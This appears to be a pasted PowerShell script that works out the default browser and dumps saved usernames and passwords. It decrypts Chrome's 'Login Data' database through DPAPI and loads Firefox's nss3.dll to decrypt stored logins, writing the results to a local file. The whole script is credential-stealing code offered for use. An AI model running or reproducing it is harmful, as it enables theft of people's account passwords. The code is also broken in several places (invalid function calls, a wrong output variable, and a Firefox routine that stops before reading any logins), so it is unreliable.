· 5 years ago · Aug 22, 2020, 07:00 AM
1$safeFile = "C:\something.txt"
2$browserName = Get-DefaultBrowser()
3if($browserName -contains "fox"){
4 Get-FoxDump()
5}
6if($browserName -contains "google"){
7 Get-CromeDump()
8}
9
10
11function Get-DefaultBrowser {
12 Param([parameter(Mandatory=$true)][alias("Computer")]$ComputerName)
13
14 $Registry = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey('LocalMachine', $ComputerName)
15 $RegistryKey = $Registry.OpenSubKey("SOFTWARE\\Classes\\http\\shell\\open\\command")
16 #Get (Default) Value
17 $Value = $RegistryKey.GetValue("")
18
19return $Value
20}
21
22function Get-CromeDump {
23 # the script dumps URLs, usernames, and passwords from Chrome.
24 # prerequisites:
25 # 1. You must have the System.Data.SQLite.dll handy (see below)
26 # 2. Your database must be accessible (close Chrome, or make some copy)
27 # 3. It must by your database. If Chrome cannot open it, the script will probably fail as well.
28
29 $sqlitedll = ".\System.Data.SQLite.dll"
30
31 if (!(Test-Path -Path $sqlitedll)){
32 Write-Host "Grab your copy of System.Data.SQLite.dll. " -ForegroundColor Yellow
33 Write-Host "Most likely from https://system.data.sqlite.org/downloads/1.0.113.0/sqlite-netFx40-static-binary-bundle-x64-2010-1.0.113.0.zip" -ForegroundColor Yellow
34 Write-Host "Your bitness is:" (8*[IntPtr]::Size) -ForegroundColor Yellow
35 Write-Host "Your .Net version is:" $PSVersionTable.CLRVersion -ForegroundColor Yellow
36 Write-Host 'No installation needed. Just unzip and update the $sqlitedll variable above.' -ForegroundColor Yellow
37 return
38 }
39
40 $dbpath = (Get-ChildItem Env:\LOCALAPPDATA).Value+"\Google\Chrome\User Data\Default\Login Data"
41 if (!(Test-Path -Path $dbpath)){
42 Write-Host "Cannot find your ""Login Data"" file." -ForegroundColor Yellow
43 return
44 }
45
46 $conn = New-Object -TypeName System.Data.SQLite.SQLiteConnection
47 $conn.ConnectionString = ("Data Source="""+$dbpath+"""")
48 $conn.Open()
49
50 $sql = $conn.CreateCommand()
51 $sql.CommandText = "SELECT origin_url, username_value, password_value FROM logins"
52 $adapter = New-Object -TypeName System.Data.SQLite.SQLiteDataAdapter $sql
53 $data = New-Object System.Data.DataSet
54 $adapter.Fill($data)
55
56 $arrExp=@()
57 foreach ($datarow in $data.Tables.rows) {
58 $row = New-Object psobject
59 $row | Add-Member -Name URL -MemberType NoteProperty -Value ($datarow.origin_url)
60 $row | Add-Member -Name UserName -MemberType NoteProperty -Value ($datarow.username_value)
61 $row | Add-Member -Name Password -MemberType NoteProperty -Value (([System.Text.Encoding]::UTF8.GetString([System.Security.Cryptography.ProtectedData]::Unprotect($datarow.password_value,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser))))
62 $arrExp += $row
63 }
64
65 $sql.Dispose()
66 $conn.Close()
67
68 # Let's display the result
69 if (Test-Path Variable:PSise) {
70 $arrExp | Out-GridView | Out-File safeFile
71 } else {
72 $arrExp | Format-Table | Out-File safeFile
73 }
74}
75
76function Get-FoxDump {
77 <#
78 .SYNOPSIS
79 This script will utilize the api functions within the nss3.dll to decrypt saved passwords. This will only be successfull if the masterpassword has not been set.
80
81 .DESCRIPTION
82 This script will utilize the api functions within the nss3.dll to decrypt saved passwords and output them to the pipeline. This will only be successfull if the master
83 password has not been set. The results will include the username, password, and form submit url. This script should work with Firefox version 32 and above. Earlier
84 versions utilized a different storage method for passwords.
85
86 .PARAMETER OutFile
87 Path to the file where the results should be written to.
88
89 .EXAMPLE
90 Get-FoxDump -OutFile "passwords.txt"
91
92 This will retrieve any saved passwords in firefox and then write them out to a file name passwords.txt.
93
94 Author: Christopher Ross (@xorrior)
95 License: BSD 3-Clause
96
97 #>
98
99 #References: http://xakfor.net/threads/c-firefox-36-password-cookie-recovery.12192/
100
101 [CmdletBinding()]
102 param (
103 [Parameter(Mandatory = $False)]
104 [string]$OutFile
105
106 )
107 #PSREFLECT CODE
108 function New-InMemoryModule {
109 <#
110 .SYNOPSIS
111
112 Creates an in-memory assembly and module
113
114 Author: Matthew Graeber (@mattifestation)
115 License: BSD 3-Clause
116 Required Dependencies: None
117 Optional Dependencies: None
118
119 .DESCRIPTION
120
121 When defining custom enums, structs, and unmanaged functions, it is
122 necessary to associate to an assembly module. This helper function
123 creates an in-memory module that can be passed to the 'enum',
124 'struct', and Add-Win32Type functions.
125
126 .PARAMETER ModuleName
127
128 Specifies the desired name for the in-memory assembly and module. if
129 ModuleName is not provided, it will default to a GUID.
130
131 .EXAMPLE
132
133 $Module = New-InMemoryModule -ModuleName Win32
134 #>
135
136 Param (
137 [Parameter(Position = 0)]
138 [ValidateNotNullOrEmpty()]
139 [String]
140 $ModuleName = [Guid]::NewGuid().ToString()
141 )
142
143 $LoadedAssemblies = [AppDomain]::CurrentDomain.GetAssemblies()
144
145 foreach ($Assembly in $LoadedAssemblies) {
146 if ($Assembly.FullName -and ($Assembly.FullName.Split(',')[0] -eq $ModuleName)) {
147 return $Assembly
148 }
149 }
150
151 $DynAssembly = New-Object Reflection.AssemblyName($ModuleName)
152 $Domain = [AppDomain]::CurrentDomain
153 $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, 'Run')
154 $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule($ModuleName, $False)
155
156 return $ModuleBuilder
157 }
158
159
160 # A helper function used to reduce typing while defining function
161 # prototypes for Add-Win32Type.
162 function func {
163 Param (
164 [Parameter(Position = 0, Mandatory = $True)]
165 [String]
166 $DllName,
167
168 [Parameter(Position = 1, Mandatory = $True)]
169 [string]
170 $functionName,
171
172 [Parameter(Position = 2, Mandatory = $True)]
173 [Type]
174 $ReturnType,
175
176 [Parameter(Position = 3)]
177 [Type[]]
178 $ParameterTypes,
179
180 [Parameter(Position = 4)]
181 [Runtime.InteropServices.CallingConvention]
182 $NativeCallingConvention,
183
184 [Parameter(Position = 5)]
185 [Runtime.InteropServices.CharSet]
186 $Charset,
187
188 [Switch]
189 $SetLastError
190 )
191
192 $Properties = @{
193 DllName = $DllName
194 functionName = $functionName
195 ReturnType = $ReturnType
196 }
197
198 if ($ParameterTypes) { $Properties['ParameterTypes'] = $ParameterTypes }
199 if ($NativeCallingConvention) { $Properties['NativeCallingConvention'] = $NativeCallingConvention }
200 if ($Charset) { $Properties['Charset'] = $Charset }
201 if ($SetLastError) { $Properties['SetLastError'] = $SetLastError }
202
203 New-Object PSObject -Property $Properties
204 }
205
206
207 function Add-Win32Type {
208 <#
209 .SYNOPSIS
210
211 Creates a .NET type for an unmanaged Win32 function.
212
213 Author: Matthew Graeber (@mattifestation)
214 License: BSD 3-Clause
215 Required Dependencies: None
216 Optional Dependencies: func
217
218 .DESCRIPTION
219
220 Add-Win32Type enables you to easily interact with unmanaged (i.e.
221 Win32 unmanaged) functions in PowerShell. After providing
222 Add-Win32Type with a function signature, a .NET type is created
223 using reflection (i.e. csc.exe is never called like with Add-Type).
224
225 The 'func' helper function can be used to reduce typing when defining
226 multiple function definitions.
227
228 .PARAMETER DllName
229
230 The name of the DLL.
231
232 .PARAMETER functionName
233
234 The name of the target function.
235
236 .PARAMETER ReturnType
237
238 The return type of the function.
239
240 .PARAMETER ParameterTypes
241
242 The function parameters.
243
244 .PARAMETER NativeCallingConvention
245
246 Specifies the native calling convention of the function. Defaults to
247 stdcall.
248
249 .PARAMETER Charset
250
251 if you need to explicitly call an 'A' or 'W' Win32 function, you can
252 specify the character set.
253
254 .PARAMETER SetLastError
255
256 Indicates whether the callee calls the SetLastError Win32 API
257 function before returning from the attributed method.
258
259 .PARAMETER Module
260
261 The in-memory module that will host the functions. Use
262 New-InMemoryModule to define an in-memory module.
263
264 .PARAMETER Namespace
265
266 An optional namespace to prepend to the type. Add-Win32Type defaults
267 to a namespace consisting only of the name of the DLL.
268
269 .EXAMPLE
270
271 $Mod = New-InMemoryModule -ModuleName Win32
272
273 $functionDefinitions = @(
274 (func kernel32 GetProcAddress ([IntPtr]) @([IntPtr], [String]) -Charset Ansi -SetLastError),
275 (func kernel32 GetModuleHandle ([Intptr]) @([String]) -SetLastError),
276 (func ntdll RtlGetCurrentPeb ([IntPtr]) @())
277 )
278
279 $Types = $functionDefinitions | Add-Win32Type -Module $Mod -Namespace 'Win32'
280 $Kernel32 = $Types['kernel32']
281 $Ntdll = $Types['ntdll']
282 $Ntdll::RtlGetCurrentPeb()
283 $ntdllbase = $Kernel32::GetModuleHandle('ntdll')
284 $Kernel32::GetProcAddress($ntdllbase, 'RtlGetCurrentPeb')
285
286 .NOTES
287
288 Inspired by Lee Holmes' Invoke-WindowsApi http://poshcode.org/2189
289
290 When defining multiple function prototypes, it is ideal to provide
291 Add-Win32Type with an array of function signatures. That way, they
292 are all incorporated into the same in-memory module.
293 #>
294
295 [OutputType([Hashtable])]
296 Param(
297 [Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)]
298 [String]
299 $DllName,
300
301 [Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)]
302 [String]
303 $functionName,
304
305 [Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)]
306 [Type]
307 $ReturnType,
308
309 [Parameter(ValueFromPipelineByPropertyName = $True)]
310 [Type[]]
311 $ParameterTypes,
312
313 [Parameter(ValueFromPipelineByPropertyName = $True)]
314 [Runtime.InteropServices.CallingConvention]
315 $NativeCallingConvention = [Runtime.InteropServices.CallingConvention]::StdCall,
316
317 [Parameter(ValueFromPipelineByPropertyName = $True)]
318 [Runtime.InteropServices.CharSet]
319 $Charset = [Runtime.InteropServices.CharSet]::Auto,
320
321 [Parameter(ValueFromPipelineByPropertyName = $True)]
322 [Switch]
323 $SetLastError,
324
325 [Parameter(Mandatory = $True)]
326 [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})]
327 $Module,
328
329 [ValidateNotNull()]
330 [String]
331 $Namespace = ''
332 )
333
334 BEGIN
335 {
336 $TypeHash = @{}
337 }
338
339 PROCESS
340 {
341 if ($Module -is [Reflection.Assembly]) {
342 if ($Namespace) {
343 $TypeHash[$DllName] = $Module.GetType("$Namespace.$DllName")
344 }
345 else {
346 $TypeHash[$DllName] = $Module.GetType($DllName)
347 }
348 }
349 else {
350 # Define one type for each DLL
351 if (!$TypeHash.ContainsKey($DllName)) {
352 if ($Namespace)
353 {
354 $TypeHash[$DllName] = $Module.DefineType("$Namespace.$DllName", 'Public,BeforeFieldInit')
355 }
356 else {
357 $TypeHash[$DllName] = $Module.DefineType($DllName, 'Public,BeforeFieldInit')
358 }
359 }
360
361 $Method = $TypeHash[$DllName].DefineMethod(
362 $functionName,
363 'Public,Static,PinvokeImpl',
364 $ReturnType,
365 $ParameterTypes)
366
367 # Make each ByRef parameter an Out parameter
368 $i = 1
369 foreach($Parameter in $ParameterTypes) {
370 if ($Parameter.IsByRef) {
371 [void] $Method.DefineParameter($i, 'Out', $null)
372 }
373
374 $i++
375 }
376
377 $DllImport = [Runtime.InteropServices.DllImportAttribute]
378 $SetLastErrorField = $DllImport.GetField('SetLastError')
379 $CallingConventionField = $DllImport.GetField('CallingConvention')
380 $CharsetField = $DllImport.GetField('CharSet')
381 if ($SetLastError) { $SLEValue = $True } else { $SLEValue = $False }
382
383 # Equivalent to C# version of [DllImport(DllName)]
384 $Constructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor([String])
385 $DllImportAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($Constructor,
386 $DllName, [Reflection.PropertyInfo[]] @(), [Object[]] @(),
387 [Reflection.FieldInfo[]] @($SetLastErrorField, $CallingConventionField, $CharsetField),
388 [Object[]] @($SLEValue, ([Runtime.InteropServices.CallingConvention] $NativeCallingConvention), ([Runtime.InteropServices.CharSet] $Charset)))
389
390 $Method.SetCustomAttribute($DllImportAttribute)
391 }
392 }
393
394 END
395 {
396 if ($Module -is [Reflection.Assembly]) {
397 return $TypeHash
398 }
399
400 $ReturnTypes = @{}
401
402 foreach ($Key in $TypeHash.Keys) {
403 $Type = $TypeHash[$Key].CreateType()
404
405 $ReturnTypes[$Key] = $Type
406 }
407
408 return $ReturnTypes
409 }
410 }
411
412
413 function psenum {
414 <#
415 .SYNOPSIS
416
417 Creates an in-memory enumeration for use in your PowerShell session.
418
419 Author: Matthew Graeber (@mattifestation)
420 License: BSD 3-Clause
421 Required Dependencies: None
422 Optional Dependencies: None
423
424 .DESCRIPTION
425
426 The 'psenum' function facilitates the creation of enums entirely in
427 memory using as close to a "C style" as PowerShell will allow.
428
429 .PARAMETER Module
430
431 The in-memory module that will host the enum. Use
432 New-InMemoryModule to define an in-memory module.
433
434 .PARAMETER FullName
435
436 The fully-qualified name of the enum.
437
438 .PARAMETER Type
439
440 The type of each enum element.
441
442 .PARAMETER EnumElements
443
444 A hashtable of enum elements.
445
446 .PARAMETER Bitfield
447
448 Specifies that the enum should be treated as a bitfield.
449
450 .EXAMPLE
451
452 $Mod = New-InMemoryModule -ModuleName Win32
453
454 $ImageSubsystem = psenum $Mod PE.IMAGE_SUBSYSTEM UInt16 @{
455 UNKNOWN = 0
456 NATIVE = 1 # Image doesn't require a subsystem.
457 WINDOWS_GUI = 2 # Image runs in the Windows GUI subsystem.
458 WINDOWS_CUI = 3 # Image runs in the Windows character subsystem.
459 OS2_CUI = 5 # Image runs in the OS/2 character subsystem.
460 POSIX_CUI = 7 # Image runs in the Posix character subsystem.
461 NATIVE_WINDOWS = 8 # Image is a native Win9x driver.
462 WINDOWS_CE_GUI = 9 # Image runs in the Windows CE subsystem.
463 EFI_APPLICATION = 10
464 EFI_BOOT_SERVICE_DRIVER = 11
465 EFI_RUNTIME_DRIVER = 12
466 EFI_ROM = 13
467 XBOX = 14
468 WINDOWS_BOOT_APPLICATION = 16
469 }
470
471 .NOTES
472
473 PowerShell purists may disagree with the naming of this function but
474 again, this was developed in such a way so as to emulate a "C style"
475 definition as closely as possible. Sorry, I'm not going to name it
476 New-Enum. :P
477 #>
478
479 [OutputType([Type])]
480 Param
481 (
482 [Parameter(Position = 0, Mandatory = $True)]
483 [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})]
484 $Module,
485
486 [Parameter(Position = 1, Mandatory = $True)]
487 [ValidateNotNullOrEmpty()]
488 [String]
489 $FullName,
490
491 [Parameter(Position = 2, Mandatory = $True)]
492 [Type]
493 $Type,
494
495 [Parameter(Position = 3, Mandatory = $True)]
496 [ValidateNotNullOrEmpty()]
497 [Hashtable]
498 $EnumElements,
499
500 [Switch]
501 $Bitfield
502 )
503
504 if ($Module -is [Reflection.Assembly]) {
505 return ($Module.GetType($FullName))
506 }
507
508 $EnumType = $Type -as [Type]
509
510 $EnumBuilder = $Module.DefineEnum($FullName, 'Public', $EnumType)
511
512 if ($Bitfield) {
513 $FlagsConstructor = [FlagsAttribute].GetConstructor(@())
514 $FlagsCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($FlagsConstructor, @())
515 $EnumBuilder.SetCustomAttribute($FlagsCustomAttribute)
516 }
517
518 foreach ($Key in $EnumElements.Keys) {
519 # Apply the specified enum type to each element
520 $null = $EnumBuilder.DefineLiteral($Key, $EnumElements[$Key] -as $EnumType)
521 }
522
523 $EnumBuilder.CreateType()
524 }
525
526
527 # A helper function used to reduce typing while defining struct
528 # fields.
529 function field {
530 Param
531 (
532 [Parameter(Position = 0, Mandatory = $True)]
533 [UInt16]
534 $Position,
535
536 [Parameter(Position = 1, Mandatory = $True)]
537 [Type]
538 $Type,
539
540 [Parameter(Position = 2)]
541 [UInt16]
542 $Offset,
543
544 [Object[]]
545 $MarshalAs
546 )
547
548 @{
549 Position = $Position
550 Type = $Type -as [Type]
551 Offset = $Offset
552 MarshalAs = $MarshalAs
553 }
554 }
555
556
557 function struct {
558 <#
559 .SYNOPSIS
560
561 Creates an in-memory struct for use in your PowerShell session.
562
563 Author: Matthew Graeber (@mattifestation)
564 License: BSD 3-Clause
565 Required Dependencies: None
566 Optional Dependencies: field
567
568 .DESCRIPTION
569
570 The 'struct' function facilitates the creation of structs entirely in
571 memory using as close to a "C style" as PowerShell will allow. Struct
572 fields are specified using a hashtable where each field of the struct
573 is comprosed of the order in which it should be defined, its .NET
574 type, and optionally, its offset and special marshaling attributes.
575
576 One of the features of 'struct' is that after your struct is defined,
577 it will come with a built-in GetSize method as well as an explicit
578 converter so that you can easily cast an IntPtr to the struct without
579 relying upon calling SizeOf and/or PtrToStructure in the Marshal
580 class.
581
582 .PARAMETER Module
583
584 The in-memory module that will host the struct. Use
585 New-InMemoryModule to define an in-memory module.
586
587 .PARAMETER FullName
588
589 The fully-qualified name of the struct.
590
591 .PARAMETER StructFields
592
593 A hashtable of fields. Use the 'field' helper function to ease
594 defining each field.
595
596 .PARAMETER PackingSize
597
598 Specifies the memory alignment of fields.
599
600 .PARAMETER ExplicitLayout
601
602 Indicates that an explicit offset for each field will be specified.
603
604 .EXAMPLE
605
606 $Mod = New-InMemoryModule -ModuleName Win32
607
608 $ImageDosSignature = psenum $Mod PE.IMAGE_DOS_SIGNATURE UInt16 @{
609 DOS_SIGNATURE = 0x5A4D
610 OS2_SIGNATURE = 0x454E
611 OS2_SIGNATURE_LE = 0x454C
612 VXD_SIGNATURE = 0x454C
613 }
614
615 $ImageDosHeader = struct $Mod PE.IMAGE_DOS_HEADER @{
616 e_magic = field 0 $ImageDosSignature
617 e_cblp = field 1 UInt16
618 e_cp = field 2 UInt16
619 e_crlc = field 3 UInt16
620 e_cparhdr = field 4 UInt16
621 e_minalloc = field 5 UInt16
622 e_maxalloc = field 6 UInt16
623 e_ss = field 7 UInt16
624 e_sp = field 8 UInt16
625 e_csum = field 9 UInt16
626 e_ip = field 10 UInt16
627 e_cs = field 11 UInt16
628 e_lfarlc = field 12 UInt16
629 e_ovno = field 13 UInt16
630 e_res = field 14 UInt16[] -MarshalAs @('ByValArray', 4)
631 e_oemid = field 15 UInt16
632 e_oeminfo = field 16 UInt16
633 e_res2 = field 17 UInt16[] -MarshalAs @('ByValArray', 10)
634 e_lfanew = field 18 Int32
635 }
636
637 # Example of using an explicit layout in order to create a union.
638 $TestUnion = struct $Mod TestUnion @{
639 field1 = field 0 UInt32 0
640 field2 = field 1 IntPtr 0
641 } -ExplicitLayout
642
643 .NOTES
644
645 PowerShell purists may disagree with the naming of this function but
646 again, this was developed in such a way so as to emulate a "C style"
647 definition as closely as possible. Sorry, I'm not going to name it
648 New-Struct. :P
649 #>
650
651 [OutputType([Type])]
652 Param
653 (
654 [Parameter(Position = 1, Mandatory = $True)]
655 [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})]
656 $Module,
657
658 [Parameter(Position = 2, Mandatory = $True)]
659 [ValidateNotNullOrEmpty()]
660 [String]
661 $FullName,
662
663 [Parameter(Position = 3, Mandatory = $True)]
664 [ValidateNotNullOrEmpty()]
665 [Hashtable]
666 $StructFields,
667
668 [Reflection.Emit.PackingSize]
669 $PackingSize = [Reflection.Emit.PackingSize]::Unspecified,
670
671 [Switch]
672 $ExplicitLayout
673 )
674
675 if ($Module -is [Reflection.Assembly]) {
676 return ($Module.GetType($FullName))
677 }
678
679 [Reflection.TypeAttributes] $StructAttributes = 'AnsiClass,
680 Class,
681 Public,
682 Sealed,
683 BeforeFieldInit'
684
685 if ($ExplicitLayout) {
686 $StructAttributes = $StructAttributes -bor [Reflection.TypeAttributes]::ExplicitLayout
687 }
688 else {
689 $StructAttributes = $StructAttributes -bor [Reflection.TypeAttributes]::SequentialLayout
690 }
691
692 $StructBuilder = $Module.DefineType($FullName, $StructAttributes, [ValueType], $PackingSize)
693 $ConstructorInfo = [Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0]
694 $SizeConst = @([Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst'))
695
696 $Fields = New-Object Hashtable[]($StructFields.Count)
697
698 # Sort each field according to the orders specified
699 # Unfortunately, PSv2 doesn't have the luxury of the
700 # hashtable [Ordered] accelerator.
701 foreach ($Field in $StructFields.Keys) {
702 $Index = $StructFields[$Field]['Position']
703 $Fields[$Index] = @{FieldName = $Field; Properties = $StructFields[$Field]}
704 }
705
706 foreach ($Field in $Fields) {
707 $FieldName = $Field['FieldName']
708 $FieldProp = $Field['Properties']
709
710 $Offset = $FieldProp['Offset']
711 $Type = $FieldProp['Type']
712 $MarshalAs = $FieldProp['MarshalAs']
713
714 $NewField = $StructBuilder.DefineField($FieldName, $Type, 'Public')
715
716 if ($MarshalAs) {
717 $UnmanagedType = $MarshalAs[0] -as ([Runtime.InteropServices.UnmanagedType])
718 if ($MarshalAs[1]) {
719 $Size = $MarshalAs[1]
720 $AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo,
721 $UnmanagedType, $SizeConst, @($Size))
722 }
723 else {
724 $AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, [Object[]] @($UnmanagedType))
725 }
726
727 $NewField.SetCustomAttribute($AttribBuilder)
728 }
729
730 if ($ExplicitLayout) { $NewField.SetOffset($Offset) }
731 }
732
733 # Make the struct aware of its own size.
734 # No more having to call [Runtime.InteropServices.Marshal]::SizeOf!
735 $SizeMethod = $StructBuilder.DefineMethod('GetSize',
736 'Public, Static',
737 [Int],
738 [Type[]] @())
739 $ILGenerator = $SizeMethod.GetILGenerator()
740 # Thanks for the help, Jason Shirk!
741 $ILGenerator.Emit([Reflection.Emit.OpCodes]::Ldtoken, $StructBuilder)
742 $ILGenerator.Emit([Reflection.Emit.OpCodes]::Call,
743 [Type].GetMethod('GetTypeFromHandle'))
744 $ILGenerator.Emit([Reflection.Emit.OpCodes]::Call,
745 [Runtime.InteropServices.Marshal].GetMethod('SizeOf', [Type[]] @([Type])))
746 $ILGenerator.Emit([Reflection.Emit.OpCodes]::Ret)
747
748 # Allow for explicit casting from an IntPtr
749 # No more having to call [Runtime.InteropServices.Marshal]::PtrToStructure!
750 $ImplicitConverter = $StructBuilder.DefineMethod('op_Implicit',
751 'PrivateScope, Public, Static, HideBySig, SpecialName',
752 $StructBuilder,
753 [Type[]] @([IntPtr]))
754 $ILGenerator2 = $ImplicitConverter.GetILGenerator()
755 $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Nop)
756 $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ldarg_0)
757 $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ldtoken, $StructBuilder)
758 $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Call,
759 [Type].GetMethod('GetTypeFromHandle'))
760 $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Call,
761 [Runtime.InteropServices.Marshal].GetMethod('PtrToStructure', [Type[]] @([IntPtr], [Type])))
762 $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Unbox_Any, $StructBuilder)
763 $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ret)
764
765 $StructBuilder.CreateType()
766 }
767 #end of PSREFLECT CODE
768
769 #http://www.exploit-monday.com/2012/07/structs-and-enums-using-reflection.html
770
771
772
773 #function written by Matt Graeber, Twitter: @mattifestation, Blog: http://www.exploit-monday.com/
774 function Get-DelegateType {
775 Param
776 (
777 [OutputType([Type])]
778
779 [Parameter( Position = 0)]
780 [Type[]]
781 $Parameters = (New-Object Type[](0)),
782
783 [Parameter( Position = 1 )]
784 [Type]
785 $ReturnType = [Void]
786 )
787
788 $Domain = [AppDomain]::CurrentDomain
789 $DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate')
790 $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
791 $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
792 $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
793 $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters)
794 $ConstructorBuilder.SetImplementationFlags('Runtime, Managed')
795 $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
796 $MethodBuilder.SetImplementationFlags('Runtime, Managed')
797
798 Write-Output $TypeBuilder.CreateType()
799 }
800
801
802 $Mod = New-InMemoryModule -ModuleName Win32
803
804 $functionDefinitions = @(
805 (func kernel32 GetProcAddress ([IntPtr]) @([IntPtr], [string]) -Charset Ansi -SetLastError),
806 (func kernel32 LoadLibrary ([IntPtr]) @([string]) -Charset Ansi -SetLastError),
807 (func kernel32 FreeLibrary ([Bool]) @([IntPtr]) -Charset Ansi -SetLastError)
808 )
809
810 $TSECItem = struct $Mod TSECItem @{
811 SECItemType = field 0 Int
812 SECItemData = field 1 Int
813 SECItemLen = field 2 Int
814 }
815
816 $Types = $functionDefinitions | Add-Win32Type -Module $Mod -Namespace 'Win32'
817 $Kernel32 = $Types['kernel32']
818
819 $nssdllhandle = [IntPtr]::Zero
820
821 if([IntPtr]::Size -eq 8) {
822 Throw "Unable to load 32-bit dll's in 64-bit process."
823 }
824 $mozillapath = "C:\Program Files (x86)\Mozilla Firefox"
825
826 if(Test-Path $mozillapath) {
827
828
829 $nss3dll = "$mozillapath\nss3.dll"
830
831 $mozgluedll = "$mozillapath\mozglue.dll"
832 $msvcr120dll = "$mozillapath\msvcr120.dll"
833 $msvcp120dll = "$mozillapath\msvcp120.dll"
834
835 if(Test-Path $msvcr120dll) {
836
837 $msvcr120dllHandle = $Kernel32::LoadLibrary($msvcr120dll)
838 $LastError= [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
839 Write-Verbose "Last Error when loading mozglue.dll: $LastError"
840
841
842 }
843
844 if(Test-Path $msvcp120dll) {
845
846 $msvcp120dllHandle = $kernel32::LoadLibrary($msvcp120dll)
847 $LastError = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
848 Write-Verbose "Last Error loading mscvp120.dll: $LastError"
849
850 }
851
852 if(Test-Path $mozgluedll) {
853
854 $mozgluedllHandle = $Kernel32::LoadLibrary($mozgluedll)
855 $LastError = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
856 Write-Verbose "Last error loading msvcr120.dll: $LastError"
857
858 }
859
860
861 if(Test-Path $nss3dll) {
862
863 $nssdllhandle = $Kernel32::LoadLibrary($nss3dll)
864 $LastError = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
865 Write-Verbose "Last Error loading nss3.dll: $LastError"
866
867 }
868 }
869
870
871 if(($nssdllhandle -eq 0) -or ($nssdllhandle -eq [IntPtr]::Zero))
872 {
873 Write-Warning "Could not load nss3.dll"
874 Write-Verbose "Last Error: $([System.Runtime.InteropServices.Marshal]::GetLastWin32Error())"
875 break
876 }
877
878
879 function Decrypt-CipherText {
880 param
881 (
882 [parameter(Mandatory=$True)]
883 [string]$cipherText
884 )
885
886 #Cast the result from the Decode buffer function as a TSECItem struct and create an empty struct. Decrypt the cipher text and then
887 #store it inside the empty struct.
888 $Result = $NSSBase64_DecodeBuffer.Invoke([IntPtr]::Zero, [IntPtr]::Zero, $cipherText, $cipherText.Length)
889 Write-Verbose "[+]NSSBase64_DecodeBuffer Result: $Result"
890 $ResultPtr = $Result -as [IntPtr]
891 $offset = $ResultPtr.ToInt64()
892 $newptr = New-Object System.IntPtr -ArgumentList $offset
893 $TSECStructData = $newptr -as $TSECItem
894 $ptr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal([System.Runtime.InteropServices.Marshal]::SizeOf($TSECStructData))
895 $EmptyTSECItem = $ptr -as $TSECItem
896 $result = $PK11SDR_Decrypt.Invoke([ref]$TSECStructData, [ref]$EmptyTSECItem, 0)
897 Write-Verbose "[+]PK11SDR_Decrypt result:$result"
898 if($result -eq 0) {
899
900 if($EmptyTSECItem.SECItemLen -ne 0) {
901 $size = $EmptyTSECItem.SECItemLen
902 $dataPtr = $EmptyTSECItem.SECItemData -as [IntPtr]
903 $retval = New-Object byte[] $size
904 [System.Runtime.InteropServices.Marshal]::Copy($dataPtr, $retval, 0, $size)
905 $clearText = [System.Text.Encoding]::UTF8.GetString($retval)
906 return $clearText
907 }
908
909 }
910
911 }
912
913 $NSSInitAddr = $Kernel32::GetProcAddress($nssdllhandle, "NSS_Init")
914 $NSSInitDelegates = Get-DelegateType @([string]) ([long])
915 $NSS_Init = [System.Runtime.InteropServices.Marshal]::GetDelegateForfunctionPointer($NSSInitAddr, $NSSInitDelegates)
916
917 $NSSBase64_DecodeBufferAddr = $Kernel32::GetProcAddress($nssdllhandle, "NSSBase64_DecodeBuffer")
918 $NSSBase64_DecodeBufferDelegates = Get-DelegateType @([IntPtr], [IntPtr], [string], [int]) ([int])
919 $NSSBase64_DecodeBuffer = [System.Runtime.InteropServices.Marshal]::GetDelegateForfunctionPointer($NSSBase64_DecodeBufferAddr, $NSSBase64_DecodeBufferDelegates)
920
921 $PK11SDR_DecryptAddr = $Kernel32::GetProcAddress($nssdllhandle, "PK11SDR_Decrypt")
922 $PK11SDR_DecryptDelegates = Get-DelegateType @([Type]$TSECItem.MakeByRefType(),[Type]$TSECItem.MakeByRefType(), [int]) ([int])
923 $PK11SDR_Decrypt = [System.Runtime.InteropServices.Marshal]::GetDelegateForfunctionPointer($PK11SDR_DecryptAddr, $PK11SDR_DecryptDelegates)
924
925 $profilePath = "$($env:APPDATA)\Mozilla\Firefox\Profiles\*.default"
926
927 $defaultProfile = $(Get-ChildItem $profilePath).FullName
928 $NSSInitResult = $NSS_Init.Invoke($defaultProfile)
929 Write-Verbose "[+]NSS_Init result: $NSSInitResult"
930
931
